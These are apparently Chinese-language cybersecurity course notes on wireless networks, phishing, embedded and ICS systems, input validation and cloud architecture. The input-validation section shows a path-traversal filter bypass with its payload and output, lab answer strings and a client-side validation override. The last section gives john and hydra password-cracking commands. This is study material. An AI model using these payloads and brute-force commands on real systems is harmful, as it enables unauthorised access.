藍牙這個無線技術就是用這種方法的。 ### Hidden Node Problem Device 1 和 Device 2 因為彼此的無線訊號範圍沒有重疊,所以它們互相「看不到」對方。當它們都想要傳輸資料給 AP 時,由於不知道對方也在傳輸,就可能同時發送訊號,導致在 AP 那裡發生資料碰撞。 * RTS 的作用: RTS(Request to Send,請求傳送)就像是一個「詢問」的信號。當 Device 想要傳輸資料之前,會先向 AP 發送一個 RTS 封包,詢問 AP:「我現在可以傳送資料嗎?」 * 如果 AP 收到 RTS 並且判斷現在頻道是空閒的,它就會回覆一個 CTS(Clear to Send,清除傳送)封包給發送 RTS 的 Device,告訴它:「可以,你現在可以傳送資料了。」 ## Wireless Network Topologies ### WDS * WDS (Wireless Distribution System )像是無線的橋樑,連接多個 AP 以擴展覆蓋範圍,但可能犧牲一些效能。 * Ad-Hoc 是一個臨時的、點對點的無線網路,不需要中央設備,方便快速的臨時連線。 * Mesh Network 是一個多節點互聯的網路,提供廣泛、可靠且具有彈性的無線覆蓋。 ![WDS](https://hackmd.io/_uploads/HkdZ2KVyxl.png) 1. 主要 AP (Main AP): * 圖中下方紅色的橢圓區域內有一個被標示為 "Main AP" 的無線基地台。 * 這個 Main AP 通常是連接到有線網路(以及網際網路)的那個主要設備。 2. 延伸 AP (AP): * 圖中有兩個額外的無線基地台,分別位於綠色和藍色的橢圓區域內,它們都被標示為 "AP"。 * 這些延伸 AP 的目的是擴展無線網路的覆蓋範圍,到達 Main AP 無線訊號可能較弱或無法覆蓋的區域。 3. 站點 (STA): * 圖中有多個標示為 "STA" 的筆記型電腦,代表無線網路的終端設備。 * 可以看到不同的 STA 連接到不同的 AP。靠近 Main AP 的 STA 連接到 Main AP,而位於綠色和藍色區域的 STA 則分別連接到對應的延伸 AP。 4. WDS 鏈路 (WDS Link): * 圖中有兩條用閃電符號表示的連接線,分別標示為 "WDS Link",連接在 Main AP 和兩個延伸 AP 之間。 * 這就是 WDS 的核心所在。 WDS Link 代表 Main AP 和延伸 AP 之間是透過無線方式進行連接和通訊的,而不需要使用實體的網路線。 5. 延伸服務集 (Extended Service Set, ESS): * 圖中用一個大的方框將所有的 AP 和 STA 包圍起來,並標示為 "ESS"。 * 這表示 Main AP 和透過 WDS 連接的延伸 AP 共同組成了一個延伸的無線網路,擁有相同的網路名稱 (SSID) 和安全設定。 * 這樣,連接到不同 AP 的 STA 可以像在同一個大型無線網路中一樣進行通訊。 ### DS ![擷取](https://hackmd.io/_uploads/ryEnDKE1lg.png) * 最基本的單元是 BSS (Basic Service Set),由一個 AP 和連接到它的 STA 組成。 * 多個 BSS 可以透過 DS (Distribution System) 連接起來形成一個 ESS (Extended Service Set),以擴展網路覆蓋範圍和提供移動性。 * DS 是連接不同 BSS 的骨幹網路,負責傳輸資料。 ## 一個典型的無線路由器通常會整合以下功能 1. 無線基地台 (AP): 提供 Wi-Fi 無線連接。 1. 路由器 (Router): 負責在不同的網路之間轉發數據包,並決定最佳的路徑。在家用或小型辦公室環境中,路由器通常負責在你的內部網路(連接到你的各種設備)和外部網路(網際網路)之間進行路由。 1. 交換器 (Switch): 提供多個有線網路連接埠,讓多個有線設備可以連接到同一個網路。 # 31 Social Engineering and Phishing ## 像素追蹤器(pixel tracker) 攻擊者有時會在電子郵件中加入「像素追蹤器(pixel tracker)」。 * 這種追蹤器通常是非常小(只有1x1像素)、透明且藏得很隱密的圖片。 * 主要用途是追蹤使用者行為,例如:使用者有沒有打開郵件、或有沒有點擊裡面的連結。 合法的公司(例如做行銷或研究的企業)也會使用像素追蹤器。 * 所以單憑發現像素追蹤器,不能直接斷定這封郵件就是詐騙。 但我們可以進一步檢查「像素追蹤器的URL(網址)」。 * 透過分析這個URL,可能可以找到攻擊者使用的伺服器或網域。 * 如果發現這個網域有可疑之處,就可能是偵測到詐騙或攻擊的線索。 # 32 Security of Embedded Systems ### abbreviation * PCB = Printed Circuit Board * SBC = Single-Board Computer ## Embedded Systems basic ### Common modules in laptops include * WiFi模組 * 藍牙模組 * TPM (Trusted Platform Module)模組(用來安全管理加密金鑰) ### Module integration method * 有些模組會直接焊接在主機板上。 * 有些模組則是透過插槽或接頭連接,方便更換或拆除。 * 例子:筆電上的 Intel N6235 模組: - 提供 WiFi 和藍牙功能。 - 使用 PCIe 插槽連接,方便替換。 - 遵循 PCIe 標準,確保廣泛相容性。 ### More complex modules:電腦模組(COM) * Computer-on-Module(COM) 是功能接近一般電腦的嵌入式模組。 * COM 通常搭載類Unix系統(如Linux)。 * 雖然功能完整,但不是給使用者直接操作,而是連接到其他硬體,執行特定任務。 | 項目 | SBC(單板電腦) | COM(電腦模組) | | :------- | :------------------------------------------- | :------------------------------------------------------------- | | **概念** | 一塊板子就包含了完整運作所需的功能。 | 只包含**核心運算功能**(CPU、RAM、儲存等),還需要搭配Carrier Board(底板)才能使用。 | | **組成** | CPU + RAM + 儲存 + USB/網路/顯示輸出等,**全部整合**在一塊板上。 | 只有CPU、RAM、部分IO功能,**其他IO需要透過外接底板**來擴展。 | | **設計目的** | 開箱即用,像一台迷你電腦,適合快速開發或終端使用。 | 適合**客製化**與**系統整合**,讓開發者可以設計自己的底板來符合特殊需求。 | | **範例** | Raspberry Pi、BeagleBone、Jetson Nano | NVIDIA Jetson TX2 module、Intel COM Express模組 | | **應用場景** | 學習、個人專案、物聯網原型、低成本終端產品。 | 工業設備、醫療器材、自駕車系統、軍工產品等需要高度客製化的環境。 | | **彈性** | 彈性較小(接口固定)。 | 彈性高(可以針對專案設計專屬底板)。 | * SBC = 小型「直接可用」的電腦。 * COM = 小型「需要搭配底板」的電腦核心。 ## Basic Components of Embedded Systems ### RAM **複雜系統需要更精密的記憶體管理機制,通常要靠 MMU** 當系統有多個執行緒、不同權限層級的程式同時執行時,記憶體需要受到保護。記憶體管理單元(MMU - memory management unit)可以限制低權限程式去讀取或修改高權限程式的資料,並協助分配與管理記憶體,提升系統安全性與穩定性。 * MMU 能進一步處理虛擬記憶體與真實記憶體的對應 ### Storage (non-volatile memory) * ROM - programmable ROM - Electrically Erasable Programmbale ROM * Flash ( higher-density storage ) - NAND ( slower to read but much quicker to write ) - NOR > Serial Peripheral Interface flash (SPI flash) have NAND or NOR flash internally and is used in moderately-complex, lower-cost embedded devices ### Microcontrollers and System-on-Chips **微控制器(MCU)與系統單晶片(SoC)的差異與應用** 1. **基本共通點** * 所有嵌入式系統都需執行程式,因此必有 CPU。 * MCU 與 SoC 都是將 CPU 整合進晶片中,是整個嵌入式系統的核心,負責連接各項周邊設備。 2. **微控制器(MCU)的特點** * 用於**低規格**嵌入式系統。 * 通常包含:CPU、少量記憶體(RAM)、小容量儲存空間及基本通訊周邊。 * 儲存空間與程式可儲存在晶片內部。 * 不需外部記憶體,適合執行簡單任務。 * 範例:**TI M430 系列**微控制器。 3. **系統單晶片(SoC)的特點** * 用於**高階**嵌入式系統。 * CPU 效能較強,通常不內建 RAM 或儲存空間。 * 需外接記憶體(如 DRAM、SDRAM)與儲存設備(如 NAND Flash、SD 卡、eMMC、eUFS)。 * 擁有更多針腳,底部有焊接用的接點。 * 可整合進階功能,如: * 影像處理器、GPU * 基頻處理器(管理行動網路連線) 4. **選擇依據** * 系統設計者會依據應用需求選擇 MCU 或 SoC。 * 簡單、成本低的系統 → 選 MCU。 * 複雜、高性能需求的系統 → 選 SoC。 * 關鍵考量:所需功能、周邊支援範圍。 ## The Hardware/Software Boundary ### 硬體抽象層(HAL,Hardware Abstraction Layer) * 目的與概念: - 軟體需要透過**讀寫硬體暫存器hardware registers**來與晶片上的周邊設備互動。 - HAL 提供一組高層 API,封裝底層的暫存器操作,讓開發者不需關注低層硬體細節。 * 為何需要 HAL: - 當硬體操作簡單時,可直接操作暫存器。 - 隨著複雜度提升,手動操作易出錯且難維護。 - HAL 透過封裝,簡化開發流程、提高可讀性與減少開發時間。 ### Kernel * 權限與運行空間: - Kernel 運行於 kernel space(核心空間),具有最高權限。 - 應用程式運行於 userland(使用者空間),需透過 kernel 存取硬體或系統資源。 * 系統呼叫(System Call, syscall): - 是 userland 應用程式請求 kernel 執行操作的方式。 - 例如: sys_open():開啟檔案。 sys_chmod():變更檔案權限。 * 通常透過 標準函式庫(如 libc) 間接調用 syscall。 ## Common Embedded Operating Systems **4 類常見的嵌入式作業系統** **1. Bare-Metal(無作業系統)** * **沒有作業系統層**,應用程式直接運行在硬體(microcontroller)上。 * **資源需求低**,適用於低規格 MCU,如 STM32F030R8(64KB Flash, 8KB RAM)。 * **沒有多工與排程功能**,適合單一簡單任務,如感測器資料收集。 * **開發門檻高**:需手動處理中斷、排程等硬體控制細節。 * 範例晶片:**ARM Cortex-M0** 核心的微控制器。 --- **2. RTOS(Real-Time Operating System)即時作業系統** * 專為**即時性與可靠性要求高**的場景設計(如車載系統、工業控制)。 * 提供**排程器、多工、任務優先權、訊號與中斷管理**。 * 常見 RTOS:**FreeRTOS、eCos、VxWorks**(商用)。 * 資源需求介於 Bare-Metal 和 Linux 之間。 * 如:FreeRTOS 可在低資源 MCU(例如 STM32F030R8)上運行。 * 範例應用:**NASA 火星探測器、Siemens 工業設備**。 --- **3. \*nix-based Embedded OS(Unix-like 嵌入式系統)** * 基於精簡的 **Linux/Unix 核心**,例如 Embedded Linux、FreeBSD。 * 適合功能複雜但不要求嚴格即時性的系統(例如:**路由器、CCTV、網路設備**)。 * 常用發行版: * **OpenWrt**(路由器) * **Ubuntu Core**(IoT) * **Buildroot、Yocto**(自訂化映像檔) * 多使用在 **中階 SoC 平台**,具備網路、多媒體或圖形需求。 --- **4. Android(特殊用途的 Linux 衍生系統)** * 基於 **Linux Kernel**,使用 AOSP 架構並添加 Android 特有功能(如 Binder IPC)。 * 強調 **媒體支援**(觸控、相機、多媒體)與 **安全性**(SELinux Enforcing 模式)。 * 每個 App 運行於**沙盒環境**,並有嚴格的權限控制。 * 常用於:**智慧手機、車用娛樂系統、行動熱點、智慧家電等**。 * 多搭配 **高階 SoC(Cortex-A 系列)**,常見廠商:**Qualcomm、MediaTek**。 * 最低需求(如 Android 13 Go):**2GB RAM + 16GB 儲存空間**。 # 33 Industrial Control Systems and OT * ICS : industrial control system * IIoT : Industrial IoT(internet of thing) * edge computing:processes data near its source, reducing latency and improving real-time performance * serial communication is suitable for applications where low cost and simplicity are prioritized over high-speed data transfer * CAN : controller area network - a serial communication standard * OT protocols - Modbus RTU(old)<----->Modbus TCP/IP(new) - OPC Unified Architecture : upgarde from Modbus - NMEA 0183 : used in marine contexts - (DNP3)Distributed Network Protocol 3 : electrical utility automation system * A major distinction between an OT device and an IT device lies in the OT device's compatibility with common protocols used in ICS environments * Three of the most common types of OT devices - Human-Machine Interfaces (HMIs) - Remote Terminal Units (RTUs) - similar to PLCs but used mainly in distributed ICS network topologies - Programmable Logic Controllers (PLCs) * gateway - translating data from one protocol to another * Many OT devices are not built with robust network stacks, and are very old. For example, an aggressive TCP/UDP port scan may unintentionally knock older OT devices offline. # 37 Foundational Input Validation Concepts ### common content-type | Content-Type | 說明 | 用途範例 | | ----------------------------------- | ----------------- | ------------------- | | `text/plain` | 純文字格式 | 傳送一般文字,如 "hello" | | `text/html` | HTML 文件 | 傳送 HTML 內容給前端渲染 | | `application/xml` | XML 資料格式 | 系統之間交換 XML 資料 | | `application/json` | JSON 資料格式 | 現代 Web API 傳資料最常用格式 | | `application/x-www-form-urlencoded` | 表單資料(key=value)格式 | 表單提交時預設格式 | | `multipart/form-data` | 可上傳**檔案與資料**的格式 | 上傳圖片、PDF 等 + 表單欄位 | ### File Uploads there are two ways to file type * file's extension * MIME type (Multi-purpose Internet Mail Extensions) - `Content-Type: image/png` - `Content-Type: image/jpeg` * magic bytes (headers of the file) > `file`指令用這個方法辨認檔案內容 | file type | Magic Bytes(16進位) | ASCII (if) | | ---- | ------------------------- | ------------------ | | PNG | `89 50 4E 47 0D 0A 1A 0A` | `‰PNG....` | | PDF | `25 50 44 46` | `%PDF` | | JPG | `FF D8 FF` | 無明確 ASCII | | ZIP | `50 4B 03 04` | `PK..` | | EXE | `4D 5A` | `MZ`(Windows 可執行檔) | ### EXIF (Exchangeable Image File Format) 是一種嵌入在圖片檔案(例如 .jpg, .png, .tiff)裡的中繼資料(Metadata)格式,會記錄一些「不是圖片內容」但與圖片有關的資訊。 * the risk of EXIF - Information Leakage : like GPS - Hide malicious information : The comment field of EXIF ​​can secretly contain PHP code, JavaScript, URLs, etc., turning it into a polyglot payload. - but can use `exiftool` tool to delete all EXIF Metadata use exiftool to analyze the file ``` exiftool /home/student/fileuploads/html/landboat.jpg.php ``` how to avoid execute php code ``` php_value engine off ``` 禁止檔案覆寫(override)的指令 ``` AllowOverride None ``` * 就算有人上傳了一個 .htaccess 檔,裡面試圖把 PHP 引擎重新開啟`php_value engine on`也不會生效,因為 AllowOverride None 已經禁止了 .htaccess 的所有作用 ### Security configuration for handling untrusted files * 用 .htaccess 禁止執行權限(Apache 環境) * 建立一個獨立的 Virtual Host 虛擬主機 ### what's virtual machine 虛擬主機(VirtualHost) 是 Apache 提供的功能,允許同一台主機服務多個網站(依據不同的網域名稱或 IP)。 | 功能 | 說明 | | ----- | ------------------------------------------------------------ | | 多網站佈署 | 在一台主機上可同時架設多個網站,如 `inputvalidation` 與 `res.inputvalidation`。 | | 獨立設定 | 每個站台可有自己的文件根目錄、權限、安全性設定、日誌紀錄等。 | | 提升安全性 | 可將動態內容(PHP)與靜態資源(圖片、檔案)隔離管理,避免混用造成風險。 | ### Path Traversal #### 原始程式邏輯(blocklist.py) 程式核心功能: 1. 列出允許讀取的檔案(白名單) 2. 輸入檔名後,會把輸入中的 `../`、`/etc/hosts`、`/etc/passwd` 移除 3. 嘗試讀取檔案內容並印出 --- #### 🚫 嘗試目錄遍歷攻擊 ```bash 請輸入檔案名稱 > ../../../../etc/hostname ``` 因為輸入中的 `../` 被 `replace()` 移除,變成: ```bash etc/hostname ``` 導致錯誤:找不到檔案 `etc/hostname` ✅ 初步看起來過濾有效。 --- #### 🔓 Blocklist 繞過技巧 > 即使 `../` 被移除,也可以「變形」讓最終結果仍包含 `../` #### 🧠 攻擊思路: * 把 `../` 分割為兩部分,例如 `.` 和 `./` * 在它們中間插入會被刪除的「誘餌字串」 `../` * 如此,替換完後,整體還是會變回 `../` #### 📌 範例: ```text 輸入:..././ ↑↑↑ 原本是 "a../aa" 的變形 處理後:../ ← 成功留下目錄跳躍 ``` --- #### ✅ 攻擊實作: #### 輸入繞過字串: ```bash ..././..././..././..././etc/hostname ``` #### 程式執行後結果: ```bash input-validation-sandbox ``` 表示成功讀取 `/etc/hostname` 的內容 ✅ → 顯示主機名稱與命令列相符,攻擊成功。 --- #### ⚠️ 總結 | 項目 | 說明 | | -------- | --------------------------------------------------- | | **問題點** | 僅用 `.replace("../", "")` 過濾,無法防止變形的 traversal | | **繞過方法** | 使用 `..././` 或其他變形來留下 `../` 的效果 | | **防禦建議** | 使用 **白名單比對**、限制合法檔名,或使用 `os.path.abspath()` 做嚴格路徑檢查 | | **學習重點** | 不該用簡單的字串取代來處理安全性;攻擊者可以利用字串結構變形繞過過濾器。 | ### Blocklists and Allowlists LAB ANSWER #### 3.`flagflag.txt.txt` 把會被刪除的放中間,被刪除後跟被刪除的一模一樣 #### 4. `cat fl*` ### Client-Side and Server-Side Validations #### 什麼是 onsubmit? onsubmit 是 HTML 表單(<form>)的一個 事件屬性,它會在使用者送出表單之前被觸發,通常會綁定一段 JavaScript 程式碼。 範例: ``` <form onsubmit="return validate_colors();"> ``` * 當使用者按下「提交」按鈕時,會先執行 validate_colors() 這個函式。 * 如果這個函式回傳 true,表單就會被提交。 * 如果回傳 false,表單就會被阻止提交。 #### 透過console修改javascript ``` function validate_colors(){return true} ``` 讓回應值永遠為TRUE # 38 Cloud Architecture Fundamentals ## 雲端運算架構 (Cloud Computing Architecture) 雲端運算架構是設計、實作和管理雲端解決方案的藍圖,它將軟體、網路、伺服器和儲存等各種元件整合為一個共享資源網路。 ### NIST 雲端運算參考架構 (The NIST Cloud Computing Reference Architecture) **NIST 雲端運算參考架構**提供了一個高階概念模型來討論雲端運算的需求、結構和操作。它識別出五個關鍵角色: * **雲端消費者 (Cloud Consumer)**:與雲端供應商保持業務關係並使用其服務的實體(個人或組織)。 * **雲端供應商 (Cloud Provider)**:負責提供一系列服務、管理基礎設施並透過網路向消費者交付服務。其主要活動包括服務編排、服務管理、服務部署、安全和隱私。 * **雲端仲介 (Cloud Broker)**:作為中間人,協助消費者設定合適的服務,或整合/增強服務以提供客製化解決方案。 * **雲端稽核員 (Cloud Auditor)**:獨立的第三方,執行雲端服務控制的審查,以驗證是否符合標準(例如安全、隱私、效能)。 * **雲端承載者 (Cloud Carrier)**:負責提供主要角色之間連線的實體(例如電信營運商、內容交付服務)。 ### NIST 雲端參考:架構元件 (NIST Cloud Reference: Architectural Components) 文本詳細闡述了雲端供應商的主要活動: * **服務部署 (Service Deployment)**:指運算資源的可用方式。 * **公有雲 (Public Cloud)**:透過公共網路向大眾提供服務。 * **私有雲 (Private Cloud)**:單一消費者獨佔基礎設施和運算資源。 * **社群雲 (Community Cloud)**:類似於私有雲,但服務多個消費者。 * **混合雲 (Hybrid Cloud)**:單一雲端消費者使用多個雲端供應商的服務。 * **服務編排 (Service Orchestration)**:支援構建和提供雲端服務所需的實體資源的安排、協調和管理(例如 OpenStack)。它自動配置設備和分配所需硬體。 * **服務管理 (Service Management)**:從業務角度管理和操作服務所需的所有元件(例如客戶管理、合約管理、計費、監控和報告)。 * **安全與隱私 (Security & Privacy)**:任何雲端架構的兩個關鍵組成部分,需要解決身份驗證、授權、可用性、機密性等安全要求。雲端安全通常是雲端消費者和供應商之間的**共享責任**。 ### 雲端原生應用程式架構 (Cloud Native Applications Architecture) **雲端原生應用程式**旨在充分利用雲端運算的優勢。根據雲端原生運算基金會 (CNCF),它們: * 使組織能夠以程式化和可重複的方式在各種雲端環境中開發、建置和部署工作負載,並根據需求高效擴展。 * 其特點是**鬆散耦合的系統**(分解為更小、獨立的部分),並且是**安全、彈性、可管理、永續和可觀察**的(透過指標、日誌和追蹤提供操作洞察)。 ### 雲端架構與業務需求 (Cloud Architecture and Business Needs) 有效的雲端架構師不僅需要雲端技術專長,還必須理解業務概念,以使技術解決方案與業務目標保持一致,確保解決方案滿足組織需求並創造價值。關鍵的業務相關術語包括: * **服務水準協議 (Service Level Agreement, SLA)**:概述雲端服務效能預期及供應商未能達成協議條款時的懲罰的合約。 * **業務連續性 (Business Continuity)**:確保在服務中斷期間營運能夠持續,將停機時間降至最低並維持基本功能(例如備份計畫、災難恢復應變計畫)。 * **合規性 (Compliance)**:遵守特定的法規和標準(例如處理信用卡支付時需符合支付卡產業資料安全標準 PCI DSS)。 --- ## AWS 實驗室中的雲端架構 (Cloud Architecture in AWS Lab) 此部分介紹了在 AWS 實驗室環境中的實際應用,重點是流行的公有雲服務。 ### 身份與存取管理 (Identity and Access Management) **身份與存取管理 (IAM)** 是一項關鍵服務,確保所有個人都經過準確識別、驗證並獲得適當的技術資源和資料存取權限,同時維持安全標準。它包括: * **識別 (Identification)**:建立身份(例如使用者、使用者群組)。 * **驗證 (Authentication)**:驗證身份,通常使用憑證,並且通常實施**多因素驗證 (MFA)**。 * **授權 (Authorization)**:透過**政策 (Policies)** 指定身份在雲端環境中擁有的權限。 * 實驗室演示了如何建立一個使用者、分配登入設定檔(密碼),並為該使用者分配一個唯讀存取權限的政策。 ### 運算服務 (Compute Services) 雲端運算服務允許使用者向雲端供應商「租用」虛擬電腦(伺服器),從而減少對本地基礎設施的需求。 * **基礎設施即服務 (Infrastructure as a Service, IaaS)**:提供虛擬機器,由消費者負責作業系統和應用程式的配置和維護。範例包括 **AWS EC2**、Azure 虛擬機器、Google Cloud Compute Engine。 * EC2 實例包含 CPU 和 RAM(實例類型)、作業系統(Amazon Machine Images - AMI)、磁碟(Elastic Block Store - EBS)和網路(Virtual Private Cloud - VPC)等核心元件。 * 實驗室演示了如何啟動一個 EC2 實例,配置其名稱、AMI、實例類型、用於安全連線的密鑰對、網路設定(預設 VPC 中的安全群組)和儲存。 * **平台即服務 (Platform as a Service, PaaS)**:消費者只需管理應用程式的原始碼,底層基礎設施、作業系統和軟體由供應商處理。範例包括 Google App Engine、Microsoft Azure App Service、AWS Elastic Beanstalk。 * **函數即服務 (Function as a Service, FaaS)**:一種專門針對**微服務**的 PaaS,允許開發人員在無需管理伺服器的情況下執行回應事件的程式碼。範例包括 AWS Lambda、Google Cloud Functions。 --- # 39 Introduction to Assurance Testing ## password hash crack ``` john hashhashhash --format=crypt ``` ## hydra暴力破解 ``` hydra -l user1 -P /usr/share/wordlists/metasploit/unix_passwords.txt 192.168.50.134 ssh ``` * `-l user1` : 指定目標帳號為 user1。-l (小寫 L) 代表「使用一個單一的帳號」。